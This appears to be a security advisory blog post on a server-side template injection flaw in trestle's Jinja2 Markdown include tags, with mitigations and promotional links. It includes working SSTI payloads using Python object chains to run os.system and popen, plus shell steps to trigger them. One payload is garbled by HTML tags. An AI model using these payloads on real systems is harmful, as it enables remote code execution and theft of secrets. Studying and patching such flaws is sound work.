Listen to this Post
The vulnerability stems from a systemic anti-pattern across trestle’s Jinja2 rendering pipeline where untrusted runtime data is re-parsed as executable Jinja2 template source code without any sandboxing or delimiter escaping. Instead of treating Markdown content, SSP data fields, or LUT YAML values as plain text, the application passes them directly to `Parser.parse()` within a standard `jinja2.Environment` (not SandboxedEnvironment). This allows injected expressions to traverse Python object chains—__class__.__mro__, __globals__, __subclasses__()—and achieve arbitrary command execution via `os.system()` or subprocess. Although a prior vulnerability in `render_template()` (which used a recursive while-loop re-rendering output) was fixed, two active code paths remain vulnerable: `MDCleanInclude.parse()` and `MDSectionInclude.parse()` in tags.py. In MDCleanInclude, Markdown file content loaded by `FileSystemLoader.get_source()` is passed to `Parser(self.environment, content).parse()` without sanitization. In MDSectionInclude, extracted section raw text meets the same fate. A third path, MDDatestamp.parse(), is lower risk due to internal `strftime()` input. Attack vectors include placing a malicious `.md` file with a payload like `{{ namespace.__init__.__globals__.os.system(‘id’) }}` in the workspace, triggering execution via `{% md_clean_include %}` or {% mdsection_include %}. Alternatively, injecting payloads into SSP metadata fields (e.g., metadata.) can lead to execution if that output flows through any re-parsing path. The taint flow confirms zero sanitization: file read → frontmatter stripping (ignores body) → direct assignment → Parser(). No filtering, encoding, or validation is applied; `autoescape=True` only affects HTML output, not code execution. A full Proof of Concept demonstrates command injection returning root. The comprehensive fix involves removing secondary parsing by returning nodes.TemplateData, switching to SandboxedEnvironment, and adding regex-based input validation to reject dangerous patterns.
DailyCVE Form:
Platform: Trestle
Version: All versions
Vulnerability: SSTI RCE
Severity: Critical
date: N/A
Prediction: Immediate patch
What Undercode Say:
Setup PoC environment
trestle init
cat > malicious.md << 'EOF'
yaml_header: ignored
Compliance Documentation
Testing SSTI vulnerability:
Execute command: {{ ssp.<strong>class</strong>.<strong>init</strong>.<strong>globals</strong>.<strong>builtins</strong>.<strong>import</strong>('os').popen('whoami').read() }}
EOF
cat > trigger.md.jinja << 'EOF'
POC: SSTI via md_clean_include tag
{% md_clean_include "malicious.md" %}
EOF
cat > empty.yaml << 'EOF'
lut:
api_key: super_secret_token_12345
db_password: P@ssw0rd_2024
EOF
Execute trigger
trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml
Check output (contains command result)
cat output.md
Exploit: (Educational Purposes!)
- Create malicious.md with payload: `{{ namespace.__init__.__globals__.os.system(‘id > /tmp/owned’) }}`
2. Create template file containing `{% md_clean_include “malicious.md” %}`
3. Run `trestle author jinja -i template.jinja -o out.md -lut any.yaml`
4. Payload executes; check `/tmp/owned` for command output.
Alternative payload: `{{ ssp.__class__.__init__.__globals__.__builtins__.__import__(‘os’).popen(‘whoami’).read() }}` to directly read output.
Protection: from this CVE
- Disable vulnerable tags: Remove `MDCleanInclude` and `MDSectionInclude` from extensions list in
trestle/core/jinja/ext.py:32. - Audit all Markdown files referenced by `{% md_clean_include %}` and `{% mdsection_include %}` for Jinja2 syntax.
- Scan SSP/YAML data sources for patterns like
{{ namespace,__globals__,os.system. - Restrict workspace write access to trusted users only.
- Apply comprehensive fix: replace `Parser().parse()` with `nodes.Output([nodes.TemplateData(content)])` in
tags.py; switch to `SandboxedEnvironment` in_create_jinja_environment(); add validation regex to reject dangerous patterns before rendering.
Impact:
Full Remote Code Execution (RCE) on the host running trestle. Attackers can execute arbitrary system commands, read sensitive files, exfiltrate secrets from LUT dictionaries (API keys, passwords, JWT secrets), pivot to internal networks via exposed environment variables, and compromise CI/CD pipelines that process third-party SSPs or Markdown documents. The vulnerability affects all trestle installations using Jinja2 rendering with Markdown includes, granting complete control over the underlying system to any user who can supply a malicious `.md` file or inject payloads into data fields.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
